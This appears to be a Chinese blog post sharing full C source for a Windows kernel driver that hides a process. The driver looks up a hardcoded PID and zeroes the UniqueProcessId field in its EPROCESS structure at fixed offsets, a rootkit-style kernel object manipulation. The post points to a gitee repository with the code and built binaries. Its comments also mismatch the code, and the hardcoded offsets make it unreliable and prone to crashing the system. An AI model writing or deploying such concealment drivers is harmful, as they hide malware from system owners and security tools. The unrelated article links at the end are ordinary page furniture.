当前位置: 首页 > news >正文

驱动隐藏进程 (本人手写)

#include <ntifs.h> #include <ntddk.h> #include <wdm.h> // 使用动态获取偏移的方法,而不是硬编码 typedef struct _PROCESS_INFO { ULONG UniqueProcessIdOffset; } PROCESS_INFO; // 全局变量 PROCESS_INFO g_ProcessInfo = { 0 }; // 函数声明 VOID DriverUnload(PDRIVER_OBJECT DriverObject); NTSTATUS GetProcessIdOffset(PULONG pOffset); NTSTATUS HideProcessById(HANDLE ProcessId); #pragma comment(lib, "ntoskrnl.lib") // 驱动入口点 NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNREFERENCED_PARAMETER(RegistryPath); NTSTATUS status = STATUS_SUCCESS; DbgPrint("[DriverEntry] Driver loaded\n"); // 设置卸载函数 DriverObject->DriverUnload = DriverUnload; // 获取UniqueProcessId的偏移量 status = GetProcessIdOffset(&g_ProcessInfo.UniqueProcessIdOffset); if (!NT_SUCCESS(status)) { DbgPrint("[DriverEntry] Failed to get process ID offset: 0x%X\n", status); return status; } DbgPrint("[DriverEntry] UniqueProcessId offset: 0x%X\n", g_ProcessInfo.UniqueProcessIdOffset); // 隐藏目标进程(示例:隐藏进程ID 1234) HANDLE targetProcessId = (HANDLE)4616; status = HideProcessById(targetProcessId); if (NT_SUCCESS(status)) { DbgPrint("[DriverEntry] Successfully modified process with ID %lu\n", (ULONG)targetProcessId); } else { DbgPrint("[DriverEntry] Failed to modify process with ID %lu (Status: 0x%X)\n", (ULONG)targetProcessId, status); } return STATUS_SUCCESS; } // 获取EPROCESS中UniqueProcessId的偏移量 NTSTATUS GetProcessIdOffset(PULONG pOffset) { PEPROCESS pSystemProcess = NULL; HANDLE pid = (HANDLE)4; // System进程的PID通常为4 NTSTATUS status = PsLookupProcessByProcessId(pid, &pSystemProcess); if (!NT_SUCCESS(status)) { DbgPrint("[GetProcessIdOffset] Failed to lookup System process: 0x%X\n", status); return status; } // 获取EPROCESS结构体中的UniqueProcessId字段 // 这里使用更安全的方法,但需要包含Ps.h中的声明 // 在实际驱动中,可能需要使用模式扫描或特征码定位 // 临时使用已知偏移(应该通过模式扫描动态获取) // Windows版本不同,偏移量也不同,这里只是示例 #ifdef _WIN64 * pOffset = 0x1d0; // 64位系统的常见偏移 #else * pOffset = 0x180; // 32位系统的常见偏移 #endif ObDereferenceObject(pSystemProcess); return STATUS_SUCCESS; } // 隐藏指定PID的进程 NTSTATUS HideProcessById(HANDLE ProcessId) { PEPROCESS pEprocess = NULL; NTSTATUS status = STATUS_SUCCESS; // 查找目标进程 status = PsLookupProcessByProcessId(ProcessId, &pEprocess); if (!NT_SUCCESS(status)) { DbgPrint("[HideProcessById] Failed to find process with ID %lu: 0x%X\n", (ULONG)ProcessId, status); return status; } // 安全地修改UniqueProcessId // 使用正确的指针算术和类型转换 ULONG_PTR processAddress = (ULONG_PTR)pEprocess; // 获取UniqueProcessId指针 PHANDLE pUniqueProcessId = (PHANDLE)(processAddress + g_ProcessInfo.UniqueProcessIdOffset); DbgPrint("[HideProcessById] Process EPROCESS: 0x%p, UniqueProcessId: 0x%p -> %lu\n", pEprocess, pUniqueProcessId, (ULONG)*pUniqueProcessId); // 将UniqueProcessId设为0(隐藏进程) // 注意:这只是一个简单的示例,实际隐藏进程需要更多步骤 *pUniqueProcessId = (HANDLE)0; DbgPrint("[HideProcessById] Modified UniqueProcessId to 0\n"); // 释放EPROCESS引用 ObDereferenceObject(pEprocess); return STATUS_SUCCESS; } // 驱动卸载函数 VOID DriverUnload(PDRIVER_OBJECT DriverObject) { UNREFERENCED_PARAMETER(DriverObject); DbgPrint("[DriverUnload] Driver unloading\n"); // 这里可以添加恢复被隐藏进程的代码 // 在实际驱动中,需要维护被隐藏进程的列表以便恢复 DbgPrint("[DriverUnload] Driver unloaded successfully\n"); }

对于 目标pid 和 偏移值 需要输入,目标pid就不用说了,

偏移值UniqueProcessIdOffset在调试内核时使用: dt _EPROCESS 命令查看

https://gitee.com/geek-mm/system-permission-loader

这是本人做的东西,代码和程序全部上传。

http://www.cnnetsun.cn/news/180978.html

相关文章:

  • 一键群控多台电脑,狂揽 2.2 万 GitHub Star!
  • Open-AutoGLM模型压缩技术揭秘:在边缘设备上实现毫秒级推理的6种方法
  • Open-AutoGLM部署避坑指南,20年架构师亲授高可用场景适配秘诀
  • 为什么说Open-AutoGLM是首个真正具备自主学习能力的开源框架?
  • 一篇文章熟悉Java打包到部署
  • 数据结构 —— 顺序表
  • 基于springboot的大创管理系统(11549)
  • springboot基于安卓的老年养护与智能服务系统
  • EasyGBS助力智慧医院打造全方位视频监控联网服务体系
  • 【收藏级】全面拆解GraphRAG:从原理到实践,大模型知识库升级必备
  • Java多态——Java的三大特性之一,零基础小白到精通,收藏这篇就够了
  • 【Open-AutoGLM元宇宙适配终极指南】:揭秘三大核心技术突破与落地实践
  • Open-AutoGLM如何实现自主学习?:深度剖析其进化机制与训练闭环设计
  • [驱动之路——GPIO子系统]学习总结,万字长篇,一文彻底搞懂GPIO子系统(含GPIO控制器驱动框架解析)
  • Open-AutoGLM如何重塑城市治理?:3个真实案例揭示AI协同调度的颠覆性力量
  • 智能体式AI实战指南:从零构建IT自动化系统,程序员必学收藏教程
  • 家长用Realme手机,怎样远程管理孩子iPhone的屏幕使用时长?
  • 【Open-AutoGLM智慧城市协同调度】:揭秘未来城市交通智能调度的5大核心技术
  • Java SpringBoot+Vue3+MyBatis 宠物爱心组织管理系统系统源码|前后端分离+MySQL数据库
  • 【Open-AutoGLM自动驾驶交互核心技术】:揭秘AI驱动的车载人机协同新范式
  • 揭秘Open-AutoGLM如何重构电子病历管理:医生工作效率翻倍的底层逻辑
  • NMOS的 G和D并联一个小电容作用和目的
  • 【网络空间安全】P2P网络及限制策略
  • Open-AutoGLM与AppDynamics监控策略剖析(仅限资深架构师掌握的3种模式)
  • 2025年北京大学计算机考研复试机试真题(附 AC 代码 + 解题思路)
  • 【高并发场景下的救星】:Open-AutoGLM智能会话销毁算法详解
  • 为什么你的请假申请总被驳回?,深度剖析Open-AutoGLM流程提交常见陷阱
  • 基于STM32自动售货机控制系统设计
  • Open-AutoGLM会话销毁机制大揭秘:如何实现毫秒级资源释放
  • 【光伏风电功率预测】调度员最需要什么样的 AI 预测?从一条曲线到“可执行方案”